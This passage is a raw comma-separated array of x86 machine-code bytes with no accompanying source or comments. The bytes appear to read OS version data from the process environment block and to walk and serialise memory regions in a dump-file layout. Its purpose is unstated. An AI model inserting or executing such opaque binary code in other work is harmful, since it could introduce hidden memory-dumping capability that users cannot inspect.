45,0xF0,0x89,0x02,0xC7,0x44,0x24,0x08,0x20,0x00,0x00,0x00,0x8D,0x45,0xB4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x35,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8D,0x55,0xE8,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0x0C,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xE8,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0x10,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xE8,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0x14,0x89,0x02,0xC7,0x44,0x24,0x08,0x0C,0x00,0x00,0x00,0x8D,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xB8,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x07,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x0C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x33,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAF,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x04,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xE0,0x89,0x44,0x24,0x04,0x8B,0x45,0xE4,0x89,0x44,0x24,0x08,0x8B,0x45,0xE8,0x89,0x44,0x24,0x0C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xDB,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5A,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x09,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0x89,0x44,0x24,0x04,0x8B,0x45,0xD8,0x89,0x44,0x24,0x08,0x8B,0x45,0xDC,0x89,0x44,0x24,0x0C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x86,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0xC4,0x00,0x00,0x00,0x8D,0x55,0x9C,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0E,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x45,0xD8,0x30,0x00,0x00,0x00,0x8B,0x45,0xD8,0x64,0x8B,0x00,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x05,0xA4,0x00,0x00,0x00,0x89,0x45,0xF0,0x8B,0x45,0xF4,0x05,0xA8,0x00,0x00,0x00,0x89,0x45,0xEC,0x8B,0x45,0xF4,0x05,0xAC,0x00,0x00,0x00,0x89,0x45,0xE8,0x8B,0x45,0xF4,0x05,0xB0,0x00,0x00,0x00,0x89,0x45,0xE4,0x8B,0x45,0xF4,0x05,0xF0,0x01,0x00,0x00,0x89,0x45,0xE0,0x66,0xC7,0x45,0x9C,0x00,0x00,0x66,0xC7,0x45,0x9E,0x00,0x00,0x66,0xC7,0x45,0xA0,0x00,0x00,0xC6,0x45,0xA2,0x00,0xC6,0x45,0xA3,0x01,0x8B,0x45,0xF0,0x8B,0x00,0x89,0x45,0xA4,0x8B,0x45,0xEC,0x8B,0x00,0x89,0x45,0xA8,0x8B,0x45,0xE8,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x45,0xAC,0x8B,0x45,0xE4,0x8B,0x00,0x89,0x45,0xB0,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xB8,0x00,0x00,0x66,0xC7,0x45,0xBA,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x38,0x00,0x00,0x00,0xC7,0x85,0x60,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x64,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x6C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x74,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x7C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0x80,0x00,0x00,0x00,0x00,0xC7,0x45,0x84,0x00,0x00,0x00,0x00,0xC7,0x45,0x88,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x00,0x00,0x00,0x00,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0x9C,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0x9E,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0xA0,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB6,0x45,0xA2,0x88,0x02,0x83,0x45,0xDC,0x01,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB6,0x45,0xA3,0x88,0x02,0x83,0x45,0xDC,0x01,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xA4,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xAC,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xB0,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xB4,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0xB8,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0xBA,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xBC,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xC0,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xC4,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xC8,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xCC,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x85,0x5C,0xFF,0xFF,0xFF,0x8B,0x45,0x98,0x89,0x44,0x24,0x08,0x8D,0x85,0x60,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x94,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE6,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0x98,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x24,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x32,0xF9,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x85,0x5C,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x0D,0xF9,0xFF,0xFF,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x85,0x58,0xFF,0xFF,0xFF,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x85,0x54,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x04,0x00,0x00,0x00,0x8D,0x85,0x54,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x07,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5C,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xD0,0x8B,0x45,0xE0,0x8B,0x40,0x04,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xDA,0xF8,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x8B,0x85,0x5C,0xFF,0xFF,0xFF,0x8D,0x50,0x18,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x85,0x58,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0x89,0x54,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x73,0xF8,0xFF,0xFF,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x56,0x53,0x81,0xEC,0x5C,0x01,0x00,0x00,0x8D,0x45,0x94,0xBB,0x20,0x70,0x88,0x6C,0xBA,0x12,0x00,0x00,0x00,0x89,0xC7,0x89,0xDE,0x89,0xD1,0xF3,0xA5,0x8B,0x45,0x08,0x8B,0x00,0xC7,0x44,0x24,0x0C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x12,0x00,0x00,0x00,0x8D,0x55,0x94,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x1C,0xE9,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x9A,0x05,0x00,0x00,0x8B,0x45,0xE0,0x89,0x45,0xE4,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0xE9,0xE5,0x00,0x00,0x00,0x8B,0x45,0x90,0x83,0xC0,0x01,0x89,0x45,0x90,0x8B,0x45,0x08,0x8B,0x50,0x08,0x8B,0x45,0xE4,0x89,0x90,0x14,0x02,0x00,0x00,0x8B,0x45,0xE4,0x83,0xC0,0x14,0xC7,0x44,0x24,0x04,0x00,0x02,0x00,0x00,0x89,0x04,0x24,0xE8,0x0D,0x2D,0x00,0x00,0x89,0x85,0x18,0xFF,0xFF,0xFF,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x83,0xC0,0x01,0x89,0x85,0x18,0xFF,0xFF,0xFF,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x01,0xC0,0x89,0x85,0x18,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x04,0x00,0x00,0x00,0x8D,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xC3,0xF7,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0x52,0xE1,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF2,0x04,0x00,0x00,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x8B,0x55,0xE4,0x83,0xC2,0x14,0x89,0x44,0x24,0x08,0x89,0x54,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x7C,0xF7,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0x0B,0xE1,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAB,0x04,0x00,0x00,0x8B,0x45,0xE4,0x8B,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x85,0x11,0xFF,0xFF,0xFF,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x45,0x8C,0xC7,0x44,0x24,0x08,0x04,0x00,0x00,0x00,0x8D,0x45,0x90,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x1F,0xF7,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0xAE,0xE0,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x4E,0x04,0x00,0x00,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x1B,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x8B,0x45,0xE0,0x89,0x45,0xE4,0xE9,0xCC,0x03,0x00,0x00,0x8D,0x95,0xA8,0xFE,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x1C,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x8B,0x45,0xE4,0x8B,0x50,0x0C,0x8B,0x40,0x08,0xBA,0x00,0x00,0x00,0x00,0x89,0x85,0xA8,0xFE,0xFF,0xFF,0x89,0x95,0xAC,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x40,0x10,0x89,0x85,0xB0,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x80,0x1C,0x02,0x00,0x00,0x89,0x85,0xB4,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x80,0x18,0x02,0x00,0x00,0x89,0x85,0xB8,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x80,0x14,0x02,0x00,0x00,0x89,0x85,0xBC,0xFE,0xFF,0xFF,0xC7,0x85,0xC0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xC4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xC8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xCC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xDC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xE0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xE4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xE8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xEC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xF0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xF4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xF8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xFC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x00,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x08,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x0C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x10,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x14,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x8D,0x0C,0x02,0x8B,0x85,0xA8,0xFE,0xFF,0xFF,0x8B,0x95,0xAC,0xFE,0xFF,0xFF,0x89,0x01,0x89,0x51,0x04,0x83,0x45,0xDC,0x08,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xB0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xB4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xB8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xBC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xC0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xC4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xC8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xCC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xD0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xD4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xD8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xDC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xE0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xE4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xE8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xEC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xF0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xF4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xF8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xFC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0x00,0xFF,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x8D,0x0C,0x02,0x8B,0x85,0x08,0xFF,0xFF,0xFF,0x8B,0x95,0x0C,0xFF,0xFF,0xFF,0x89,0x01,0x89,0x51,0x04,0x83,0x45,0xDC,0x08,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x8D,0x0C,0x02,0x8B,0x85,0x10,0xFF,0xFF,0xFF,0x8B,0x95,0x14,0xFF,0xFF,0xFF,0x89,0x01,0x89,0x51,0x04,0xC7,0x44,0x24,0x08,0x6C,0x00,0x00,0x00,0x8D,0x85,0x20,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x39,0xF3,0xFF,0xFF,0x85,0xC0,0x75,0x21,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0xC8,0xDC,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x6B,0x8B,0x45,0xE4,0x8B,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x85,0x2A,0xFC,0xFF,0xFF,0x8B,0x45,0x90,0x6B,0xC0,0x6C,0x83,0xC0,0x04,0x89,0x85,0x1C,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x85,0x1C,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x30,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x9C,0xF2,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0x8C,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x34,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x7A,0xF2,0xFF,0xFF,0x8B,0x45,0xE0,0x81,0xC4,0x5C,0x01,0x00,0x00,0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x8B,0x45,0x0C,0x89,0x45,0xFC,0xEB,0x3B,0x8B,0x45,0xFC,0x8B,0x50,0x0C,0x8B,0x40,0x08,0x89,0xC2,0x8B,0x45,0x08,0x39,0xD0,0x72,0x21,0x8B,0x45,0xFC,0x8B,0x50,0x0C,0x8B,0x40,0x08,0x89,0xC2,0x8B,0x45,0xFC,0x8B,0x40,0x10,0x01,0xD0,0x8B,0x55,0x08,0x39,0xC2,0x73,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x13,0x8B,0x45,0xFC,0x8B,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0xBF,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x74,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x1C,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xB0,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x1C,0x00,0x00,0x00,0x8D,0x55,0xB0,0x89,0x54,0x24,0x0C,0x8B,0x55,0xE4,0x89,0x54,0x24,0x08,0x8B,0x55,0xF0,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x50,0xEB,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x0F,0x88,0x9E,0x01,0x00,0x00,0x8B,0x45,0xB0,0x89,0x45,0xDC,0x8B,0x45,0xBC,0x89,0x45,0xD0,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x8B,0x45,0xDC,0x89,0xC1,0xBB,0x00,0x00,0x00,0x00,0x8B,0x45,0xD0,0x8B,0x55,0xD4,0x01,0xC8,0x11,0xDA,0x8B,0x4D,0xDC,0xBB,0x00,0x00,0x00,0x00,0x39,0xC8,0x89,0xD0,0x19,0xD8,0x0F,0x82,0x66,0x01,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x45,0xDC,0x01,0xD0,0x89,0x45,0xF0,0x8B,0x45,0xC0,0x3D,0x00,0x10,0x00,0x00,0x0F,0x85,0x20,0x01,0x00,0x00,0x8B,0x45,0xC8,0x3D,0x00,0x00,0x04,0x00,0x0F,0x84,0x18,0x01,0x00,0x00,0x8B,0x45,0xC4,0x83,0xE0,0x01,0x85,0xC0,0x0F,0x85,0x10,0x01,0x00,0x00,0x8B,0x45,0xC4,0x25,0x00,0x01,0x00,0x00,0x85,0xC0,0x0F,0x85,0x06,0x01,0x00,0x00,0x8B,0x45,0xC4,0x83,0xE0,0x10,0x85,0xC0,0x0F,0x85,0xFE,0x00,0x00,0x00,0x8B,0x45,0xC8,0x3D,0x00,0x00,0x00,0x01,0x75,0x1A,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0xDC,0x89,0x04,0x24,0xE8,0x7F,0xFE,0xFF,0xFF,0x85,0xC0